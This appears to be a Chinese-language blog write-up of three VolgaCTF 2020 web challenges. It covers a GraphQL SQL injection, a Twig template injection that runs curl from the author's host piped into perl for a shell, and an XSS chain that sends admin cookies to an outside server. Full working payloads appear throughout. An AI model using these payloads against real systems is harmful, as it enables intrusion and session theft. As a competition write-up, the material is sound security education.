VolgaCTF 2020 Qualifier: Library, Newsletter, User Center Write-up
這次一樣快速記錄 VolgaCTF 2020 Qualifier 的三道 Web 題目,因為沒有空而不能以 full time 模式來解題,所以只在抽空時間內來得及解出 3 題而已 QQ
Library - 150 分
這題一個簡單的登入、登出功能,登入後就可以看到有儲存書籍的列表。
其中背後查詢列表的 API 是透過 GraphQL 來查詢。
對於測試 GraphQL API 的起手式就是可以利用內建 Introspection 操作來請求取得所有 Query / Mutation 的 schema,嘗試找出隱藏、可以利用的 API。為了方便性,所以我使用 GraphQL CLI 這套工具來協助完成操作。
只要依照順序執行下面兩個指令,就能獲得目標上 GraphQL API 完整的 schema:
# 產生 .graphqlconfig 設定檔
$ graphql init
# 取得 schema
$ graphql get-schema
而我取得的 schema 如下所示:
# source: http://library.q.2020.volgactf.ru:7781/api
# timestamp: Sat Mar 28 2020 20:23:14 GMT+0800 (GMT+08:00)
type Book {
title: String!
author: String!
pic: String!
}
type LoginResponse {
login: String
name: String
email: String
token: String
}
input LoginUser {
login: String
password: String
}
type Mutation {
_empty: String
register(user: RegisterUser): String
}
type Query {
_empty: String
login(user: LoginUser): LoginResponse
testGetUsersByFilter(filter: UserFilter): [User]
books: [Book]
}
input RegisterUser {
login: String
password: String
name: String
email: String
}
type User {
login: String
name: String
email: String
}
input UserFilter {
login: String
name: String
email: String
}
其中發現一個有趣的 Query testGetUsersByFilter,這個 Query 可以利用 login、name、email 等三個欄位來查詢存在系統上的使用者,總而言之、言而總之,經過一番黑箱測試後我們發現有 SQL Injection XD,目標會刪除單引號字元,但可以用反斜線 \ 去把後方的單引號吃掉。
黑箱猜測會組成類似如下的 SQL:
SELECT * FROM users WHERE login = '$login' AND name = '$name'
所以讓 $login = meow\
而 $name = union select 1,2,3,4,user(),6#
就可以組合出:
SELECT * FROM users WHERE login = 'meow\' AND name = 'union select 1,2,3,4,user(),6#'
就能利用 union 進行查詢以取得資料庫內容,而剩下的就是一些標準動作了。
最後取得 flag 的 Payload:
POST /api HTTP/1.1
Host: library.q.2020.volgactf.ru:7781
Accept: application/json
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://library.q.2020.volgactf.ru:7781/index.html
content-type: application/json
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Indvb2ZAbWFpbGluYXRvci5jb20iLCJuYW1lIjoid29vZiIsImxvZ2luIjoid29vZiIsImlhdCI6MTU4NTQ4OTA2MywiZXhwIjoxNTg1NDkyNjYzfQ.D54N_s5LVyUp7LXLZrwimAoA0bDi6WKACTv3NbOEpT0
origin: http://library.q.2020.volgactf.ru:7781
Content-Length: 272
Connection: close
{
"query":"query testGetUsersByFilter($input: UserFilter) {testGetUsersByFilter(filter: $input){login name email}}",
"variables":{
"input":{
"login":"meow\\",
"name":"union select 1,2,3,4,flag,6 from flag#"
}
}
}
Flag:VolgaCTF{EassY_GgraPhQl_T@@Sk_ek3k12kckgkdak}
Newsletter - 200 分
這題是 PHP 白箱題,有提供 Source Code 如下:
<?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;
class MainController extends AbstractController
{
public function index(Request $request)
{
return $this->render('main.twig');
}
public function subscribe(Request $request, MailerInterface $mailer)
{
$msg = '';
$email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
if($email !== FALSE) {
$name = substr($email, 0, strpos($email, '@'));
$content = $this->get('twig')->createTemplate(
"<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
)->render();
$mail = (new Email())->from('newsletter@newsletter.q.2020.volgactf.ru')->to($email)->subject('VolgaCTF Newsletter')->html($content);
$mailer->send($mail);
$msg = 'Success';
} else {
$msg = 'Invalid email';
}
return $this->render('main.twig', ['msg' => $msg]);
}
public function source()
{
return new Response('<pre>'.htmlspecialchars(file_get_contents(__FILE__)).'</pre>');
}
}
從程式碼可以看到我們傳送過去 $email 變數會被取 @ 前方的字串指派給 $name,然後 $name 直接被帶入 Twig 的模板字串中並建立模板執行,所以這邊就有個 Twig 的 Server-Side Template Injection,但首先我們必須繞過 filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL)
這行的限制,必須是合法的 email 又包含模板語法。
而我的隊友在 Stack Overflow 上找到這篇文章:PHP FILTER_VALIDATE_EMAIL does not work correctly,底下回覆提供了頗為完整的合法 email 範例列表,其中可以看到一個很重要的範例:"()<>[]:,;@\\"!#$%&'*+-/=?^_``{}| ~.a"@example.org
,這個範例告訴我們,如果 email 中的 username 包括一些特殊符號,只要使用雙引號 " 將 username 包夾起來,就會被視為一個合法的 email,所以我們能構造 "{{3*4}}"@a.a
這樣的 Payload 就能躲過 filter_var 的限制。
接著就是嘗試作 SSTI 的利用,如果直接上網 Google,通常都會找到這樣的 Payload:
PayloadsAllTheThings/Server Side Template Injection
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
這個 Payload 是利用內建 _self 變數來取得 \Twig\Template 的實例來執行惡意函式作利用,但如果去查官網 Documentation 會發現這個變數早已被棄用,現在只會回傳一個字串代表當前模板名稱 QQ,所以我們必須尋找新的利用方式。
在 Twig 模板裡面支援 filter 語法,可以呼叫內建或自定義的 filter 函式在輸出變數時對變數值作格式化或其他處理,譬如:{{ "aa"|upper }}
可以將 aa 在輸出時變成 AA。
於是我就以字串 new TwigFilter(
搜尋程式碼裡所有內建的 filter 函式,其中發現一個非常有趣的函式:
new TwigFilter('map', 'twig_array_map')
function twig_array_map($array, $arrow)
{
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v, $k);
}
return $r;
}
沒錯,直接把我們可控的變數 $arrow 當作函式名稱進行呼叫,恰好 $v 也是我們可以控制的變數,只要找到一個函式可以執行系統指令並允許傳遞第二個參數,就能 GetShell,這種函式也不少,例如 passthru ( string $command [, int &$return_var ] )
就很符合我們的需求。
所以只要注入模板 {{ ['id']|map('passthru') }}
就能執行 id 系統指令,結合前面 email 的規則就能夠造出 "{{['id']|map('passthru')}}"@a.a
的 Payload,不過實測後發現就算使用雙引號包夾,只要有空白字元出現就會被判定為不合法的 email,好在只是用不了空白的 Command Injection 對 CTF 玩家來說並不是個問題。
最後成功 GetShell 的 Payload:
POST /subscribe HTTP/1.1
Host: newsletter.q.2020.volgactf.ru
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://newsletter.q.2020.volgactf.ru/subscribe
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Connection: close
Upgrade-Insecure-Requests: 1
email="{{['curl${IFS}cyku.tw:8080|perl']|map('passthru')}}"@a.a
發現 flag 藏在 /etc/passwd 裡
Flag:VolgaCTF_6751602deea2a308ab611eeef7a4e961
User Center - 300 分
這道題目一樣有個註冊、登入功能,而右上角還有 Report Bug 的按鈕,題目敘述是「Steal admin's cookie!」,所以很清楚地說明了是 Cross-Site Scripting 題目。
官網主要功能都用 JavaScript 在前端實現,所以來看看前端完整的 js 程式碼(微長):
function getUser(guid) {
if(guid) {
$.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) {
if(!data.success) {
location.replace('/profile.html');
} else {
profile(data.user);
}
});
} else {
$.getJSON(`//${api}.volgactf-task.ru/user`, function(data) {
if(!data.success) {
location.replace('/login.html');
} else {
profile(data.user, true);
}
}).fail(function (jqxhr, textStatus, error) {console.log(jqxhr, textStatus, error);});
}
}
function updateUser(user) {
$.ajax({
type: 'POST',
url: `//${api}.volgactf-task.ru/user-update`,
data: JSON.stringify(user),
contentType: "application/json",
dataType: 'json'
}).done(function(data) {
if(!data.success) {
showError(data.error);
} else {
location.replace(`/profile.html`);
}
});
}
function logout() {
$.get(`//${api}.volgactf-task.ru/logout`, function(data) {
location.replace('/login.html');
});
}
function profile(user, edit) {
if(!['/profile.html','/report.php','/editprofile.html'].includes(location.pathname))
location.replace('/profile.html');
$('#username').text(user.username);
$('#username').val(user.username);
$('#bio').text(user.bio);
$('#bio').val(user.bio);
$('#avatar').attr('src', `//static.volgactf-task.ru/${user.avatar}`);
if(edit) {
$('#editProfile').removeClass("d-none");
}
$('.nav-item .nav-link[href="/login.html"]').addClass("d-none");
$('.nav-item .nav-link[href="/register.html"]').addClass("d-none");
$('.nav-item .nav-link[href="/profile.html"]').removeClass("d-none");
$('.nav-item .nav-link[href="/logout.html"]').removeClass("d-none");
}
function replaceForbiden(str) {
return str.replace(/[ !"#$%&織()*+,\-\/:;<=>?@\[\\\]^_`{|}~]/g,'').replace(/[^\x00-\x7F]/g, '?');
}
function showError(error) {
$('#error').removeClass("d-none").text(error);
}
$(document).ready(function() {
api = 'api';
if(Cookies.get('api_server')) {
api = replaceForbiden(Cookies.get('api_server'));
} else {
Cookies.set('api_server', api, {secure: true});
}
$.ajaxSetup({
xhrFields: {
withCredentials: true
}
});
$('#logForm').submit(function(event) {
event.preventDefault();
$.ajax({
type: 'POST',
url: `//${api}.volgactf-task.ru/login`,
data: JSON.stringify({username: $('#username').val(), password: $('#password').val()}),
contentType: "application/json",
dataType: 'json'
}).done(function(data) {
if(!data.success) {
showError(data.error);
} else {
location.replace(`/profile.html?guid=${data.guid}`);
}
});
});
$('#regForm').submit(function(event) {
event.preventDefault();
$.ajax({
type: 'POST',
url: `//${api}.volgactf-task.ru/register`,
data: JSON.stringify({username: $('#username').val(), password: $('#password').val()}),
contentType: "application/json",
dataType: 'json'
}).done(function(data) {
if(!data.success) {
showError(data.error);
} else {
location.replace(`/profile.html`);
}
});
});
$('#avatar').on('change',function(){
$(this).next('.custom-file-label').text($(this).prop('files')[0].name);
});
$('#editForm').submit(function(event) {
event.preventDefault();
b64Avatar = '';
mime = '';
bio = $('#bio').val();
avatar = $('#avatar').prop('files')[0];
if(avatar) {
reader = new FileReader();
reader.readAsDataURL(avatar);
reader.onload = function(e) {
b64Avatar = reader.result.split(',')[1];
mime = avatar.type;
updateUser({avatar: b64Avatar, type: mime, bio: bio});
}
} else {
updateUser({bio: bio});
}
});
params = new URLSearchParams(location.search);
if(['/','/index.html','/profile.html','/report.php','/editprofile.html'].includes(location.pathname)) {
getUser(params.get('guid'));
}
if(['/logout.html'].includes(location.pathname)) {
logout();
}
});
程式碼微長,但我們還是可以很快看到關鍵的幾個點,如果 cookie 中存在 api_server,就會取那個值當作 API server 的 subdomain,而後面呼叫 API server 的方法都是透過 jQuery.getJSON 這個函式,而這個函式有個特色是如果網址中含有類似 callback=?
的 pattern,會將 API 以 JSONP 的方式進行載入,所以只要我們控制 API server 指到我們的伺服器,回傳惡意的 JSONP 內容就能執行任意 JavaScript。
api = 'api';
if(Cookies.get('api_server')) {
api = replaceForbiden(Cookies.get('api_server'));
} else {
Cookies.set('api_server', api, {secure: true});
}
function getUser(guid) {
if(guid) {
$.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) {
if(!data.success) {
location.replace('/profile.html');
} else {
profile(data.user);
}
});
} else {
$.getJSON(`//${api}.volgactf-task.ru/user`, function(data) {
if(!data.success) {
location.replace('/login.html');
} else {
profile(data.user, true);
}
}).fail(function (jqxhr, textStatus, error) {console.log(jqxhr, textStatus, error);});
}
}
但我們該如何在目標 domain 下設置 api_server cookie 呢?這就要利用上傳大頭貼的功能,當我上傳一張大頭貼照片時,會發出如下的 API 請求,avatar 為 base64 encode 過的圖片二進位資料,type 則是取得圖片時會回應的 Content-Type,最後照片會上傳到 static 的 subdomain 下,例如:https://static.volgactf-task.ru/e991c08651233e7113263f83af8ca810
。
POST /user-update HTTP/1.1
Host: api.volgactf-task.ru
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: https://volgactf-task.ru/editprofile.html
Content-Type: application/json
Content-Length: 62
Origin: https://volgactf-task.ru
Cookie: PHPSESSID=vfl71tu5hvoepu7dd8pe89ce23
Connection: close
{"avatar":"SSBhbSBpbWFnZQ==","type":"image/jpeg","bio":"woof"}
那既然我們能控制回應的 Content-Type,就有機會在 static.volgactf-task.ru
domain 下進行 XSS 攻擊。可是當我們嘗試修改 type 為 text/html 時出現錯誤「Forbidden MIME type」。
經過黑箱測試後,發現可以用 text/htm\rl
繞過檢查,於是我們就能得到 static.volgactf-task.ru
domain 下的 XSS。
接下來就是考慮如何串回主目標的 volgactf-task.ru
domain,有趣的事實是瀏覽器允許 subdomain 設定 parent domain 的 cookie,所以如果我們在 static.volgactf-task.ru
上執行下面一行 JavaScript,是可以成功對 volgactf-task.ru
設定一個 api_server 的 Cookie 值。
document.cookie = 'api_server=anything; domain=.volgactf-task.ru; path=/';
所以我們就可以劫持一開始所說的對 API server 發的請求,不過在取出 api_server cookie 之後還會對值作一些過濾,雖然不能用「/」、「#」等字元,但可以塞 Unicode 字元,在經過 replaceForbiden 處理後,像是「喵」的字元會變成「?」,配合 API url 組合的方式,只要寫入 api_server=cyku.tw喵
的 cookie,我們就可以讓目標對 //cyku.tw?.volgactf-task.ru/user
發出請求,只要再回應惡意的 JSONP 內容,就可以得到 volgactf-task.ru
下的 XSS 了。
function replaceForbiden(str) {
return str.replace(/[ !"#$%&織()*+,\-\/:;<=>?@\[\\\]^_`{|}~]/g,'').replace(/[^\x00-\x7F]/g, '?');
}
api = replaceForbiden(Cookies.get('api_server'));
$.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) { .. });
最終的一些 Payload
https://static.volgactf-task.ru/dc22aeee8535ae22cfbc8436362bd602
:
HTTP/1.1 200 OK
Server: nginx/1.16.1 (Ubuntu)
Date: Sun, 29 Mar 2020 16:01:04 GMT
Content-Type: text/html
Content-Length: 170
Connection: close
x-amz-id-2: lnjpjj+DN8MtESPMLchngoj5N26k9fp0vgNSbok8tzdFrmOxeeQZEcZp0E9UN3meoO0FJmxJx6c=
x-amz-request-id: 592B8F8A3A31F54F
Last-Modified: Sun, 29 Mar 2020 16:00:59 GMT
ETag: "f1f0b0742b543cfb93c8a175368ebdd7"
Accept-Ranges: bytes
X-Content-Type-Options: nosniff
<script>
document.cookie = 'api_server=poc.cyku.tw\u55B5; domain=.volgactf-task.ru; path=/';
document.location = 'https://volgactf-task.ru/profile.html?guid=?';
</script>
poc.cyku.tw
:
<?php
header('application/javascript');
header('Access-Control-Allow-Origin: *');
?>
(new Image).src = '//poc.cyku.tw/?flag=' + document.cookie;
最後在 Report Bug 送出連結後,就能在 access.log 收到 flag
134.209.205.157 - - [28/Mar/2020:06:38:20 +0000] "GET /?flag=flag=VolgaCTF_0558a4ad10f09c6b40da51c8ad044e16;%20api_server=poc.cyku.tw%E5%96%B5 HTTP/2.0" 200 81 "https://volgactf-task.ru/profile.html?guid=?" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0" "-"
Flag:VolgaCTF_0558a4ad10f09c6b40da51c8ad044e16